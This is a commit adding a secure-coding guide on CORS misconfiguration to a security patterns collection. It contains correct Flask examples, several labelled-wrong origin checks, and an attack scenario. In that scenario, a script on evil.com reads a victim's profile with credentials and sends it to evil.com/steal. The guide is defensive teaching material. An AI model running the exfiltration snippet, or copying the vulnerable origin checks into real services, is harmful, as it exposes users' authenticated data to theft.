Add session management, CORS, XXE patterns
Complete the security patterns collection: - session-management.md: fixation, hijacking, secure cookies, concurrent sessions - cors.md: origin validation, reflected origin attacks, preflight caching - xxe.md: external entities, DTD attacks, language-specific fixes Now 19 patterns covering comprehensive web application security.
This commit is contained in:
@@ -0,0 +1,183 @@
|
||||
# CORS Misconfiguration
|
||||
|
||||
## Rule
|
||||
|
||||
Never reflect Origin blindly. Allowlist specific origins. Don't use credentials with wildcards.
|
||||
|
||||
**Source:** [OWASP CORS Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)
|
||||
|
||||
## CORS Basics
|
||||
|
||||
Browser blocks cross-origin requests by default. CORS headers selectively allow them:
|
||||
|
||||
| Header | Purpose |
|
||||
|--------|---------|
|
||||
| `Access-Control-Allow-Origin` | Which origins can access |
|
||||
| `Access-Control-Allow-Credentials` | Allow cookies/auth |
|
||||
| `Access-Control-Allow-Methods` | Allowed HTTP methods |
|
||||
| `Access-Control-Allow-Headers` | Allowed request headers |
|
||||
|
||||
## Correct Pattern
|
||||
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
ALLOWED_ORIGINS = {
|
||||
"https://app.example.com",
|
||||
"https://admin.example.com",
|
||||
}
|
||||
|
||||
def add_cors_headers(response):
|
||||
origin = request.headers.get("Origin")
|
||||
|
||||
# Validate against allowlist
|
||||
if origin in ALLOWED_ORIGINS:
|
||||
response.headers["Access-Control-Allow-Origin"] = origin
|
||||
response.headers["Access-Control-Allow-Credentials"] = "true"
|
||||
response.headers["Access-Control-Allow-Methods"] = "GET, POST, PUT, DELETE"
|
||||
response.headers["Access-Control-Allow-Headers"] = "Content-Type, Authorization"
|
||||
response.headers["Vary"] = "Origin" # Important for caching!
|
||||
|
||||
return response
|
||||
|
||||
# For public APIs without credentials
|
||||
def add_public_cors(response):
|
||||
response.headers["Access-Control-Allow-Origin"] = "*"
|
||||
# Note: credentials CANNOT be used with wildcard
|
||||
response.headers["Access-Control-Allow-Methods"] = "GET"
|
||||
return response
|
||||
|
||||
# Handle preflight requests
|
||||
@app.route("/api/<path:path>", methods=["OPTIONS"])
|
||||
def preflight(path):
|
||||
response = make_response()
|
||||
return add_cors_headers(response)
|
||||
```
|
||||
|
||||
## Incorrect Pattern
|
||||
|
||||
```python
|
||||
# Wrong: reflect any origin (allows any site to access)
|
||||
@app.after_request
|
||||
def bad_cors(response):
|
||||
origin = request.headers.get("Origin")
|
||||
response.headers["Access-Control-Allow-Origin"] = origin # Reflected!
|
||||
response.headers["Access-Control-Allow-Credentials"] = "true"
|
||||
return response
|
||||
# Attack: evil.com can now make authenticated requests
|
||||
|
||||
# Wrong: wildcard with credentials
|
||||
response.headers["Access-Control-Allow-Origin"] = "*"
|
||||
response.headers["Access-Control-Allow-Credentials"] = "true"
|
||||
# Browser will reject, but shows misunderstanding
|
||||
|
||||
# Wrong: regex bypass
|
||||
def check_origin(origin):
|
||||
return origin.endswith(".example.com")
|
||||
# Bypassed by: attacker-example.com
|
||||
|
||||
# Wrong: null origin allowed
|
||||
ALLOWED_ORIGINS = {"https://app.example.com", "null"}
|
||||
# "null" origin sent by sandboxed iframes, file:// URLs - attacker controlled!
|
||||
|
||||
# Wrong: substring match
|
||||
def check_origin(origin):
|
||||
return "example.com" in origin
|
||||
# Bypassed by: example.com.evil.com
|
||||
```
|
||||
|
||||
## Origin Validation
|
||||
|
||||
```python
|
||||
from urllib.parse import urlparse
|
||||
|
||||
ALLOWED_ORIGINS = {"https://app.example.com", "https://admin.example.com"}
|
||||
|
||||
def is_valid_origin(origin: str) -> bool:
|
||||
"""Strict origin validation."""
|
||||
if not origin:
|
||||
return False
|
||||
|
||||
# Never allow null
|
||||
if origin == "null":
|
||||
return False
|
||||
|
||||
# Exact match against allowlist
|
||||
if origin in ALLOWED_ORIGINS:
|
||||
return True
|
||||
|
||||
# If you need subdomain matching, be careful:
|
||||
try:
|
||||
parsed = urlparse(origin)
|
||||
# Must be HTTPS
|
||||
if parsed.scheme != "https":
|
||||
return False
|
||||
|
||||
# Exact domain match (not suffix!)
|
||||
allowed_domains = {"app.example.com", "admin.example.com"}
|
||||
if parsed.netloc in allowed_domains:
|
||||
return True
|
||||
|
||||
# Subdomain of specific parent (careful!)
|
||||
if parsed.netloc.endswith(".trusted.example.com"):
|
||||
# Verify it's actually a subdomain, not suffix attack
|
||||
parts = parsed.netloc.split(".")
|
||||
if len(parts) >= 4 and parts[-3:] == ["trusted", "example", "com"]:
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
|
||||
return False
|
||||
```
|
||||
|
||||
## Attack Scenarios
|
||||
|
||||
```python
|
||||
# Scenario 1: Data theft via reflected origin
|
||||
#
|
||||
# Vulnerable server reflects any Origin with credentials
|
||||
#
|
||||
# Attacker's evil.com:
|
||||
# <script>
|
||||
# fetch("https://api.victim.com/user/profile", {
|
||||
# credentials: "include"
|
||||
# })
|
||||
# .then(r => r.json())
|
||||
# .then(data => {
|
||||
# // Send stolen data to attacker
|
||||
# fetch("https://evil.com/steal?data=" + JSON.stringify(data))
|
||||
# })
|
||||
# </script>
|
||||
|
||||
# Scenario 2: CSRF via CORS
|
||||
#
|
||||
# If CORS allows credentials from evil.com,
|
||||
# evil.com can make authenticated state-changing requests
|
||||
```
|
||||
|
||||
## Preflight Caching
|
||||
|
||||
```python
|
||||
@app.after_request
|
||||
def cors_headers(response):
|
||||
origin = request.headers.get("Origin")
|
||||
if origin in ALLOWED_ORIGINS:
|
||||
response.headers["Access-Control-Allow-Origin"] = origin
|
||||
response.headers["Access-Control-Allow-Credentials"] = "true"
|
||||
response.headers["Access-Control-Max-Age"] = "86400" # Cache preflight 24h
|
||||
response.headers["Vary"] = "Origin" # CRITICAL for caching
|
||||
return response
|
||||
|
||||
# Why Vary: Origin matters:
|
||||
# Without it, CDN might cache response for origin A
|
||||
# Then serve that cached response to origin B (wrong ACAO header!)
|
||||
```
|
||||
|
||||
## Edge Cases
|
||||
|
||||
- WebSocket connections don't use CORS (use Origin header manually)
|
||||
- `Access-Control-Expose-Headers` needed for custom response headers
|
||||
- Preflight not sent for "simple" requests (GET, POST with basic headers)
|
||||
- Internal APIs should still validate Origin (defense in depth)
|
||||
- Browser extensions can bypass CORS (not a vulnerability)
|
||||
- Server-to-server requests don't involve CORS
|
||||
Reference in New Issue
Block a user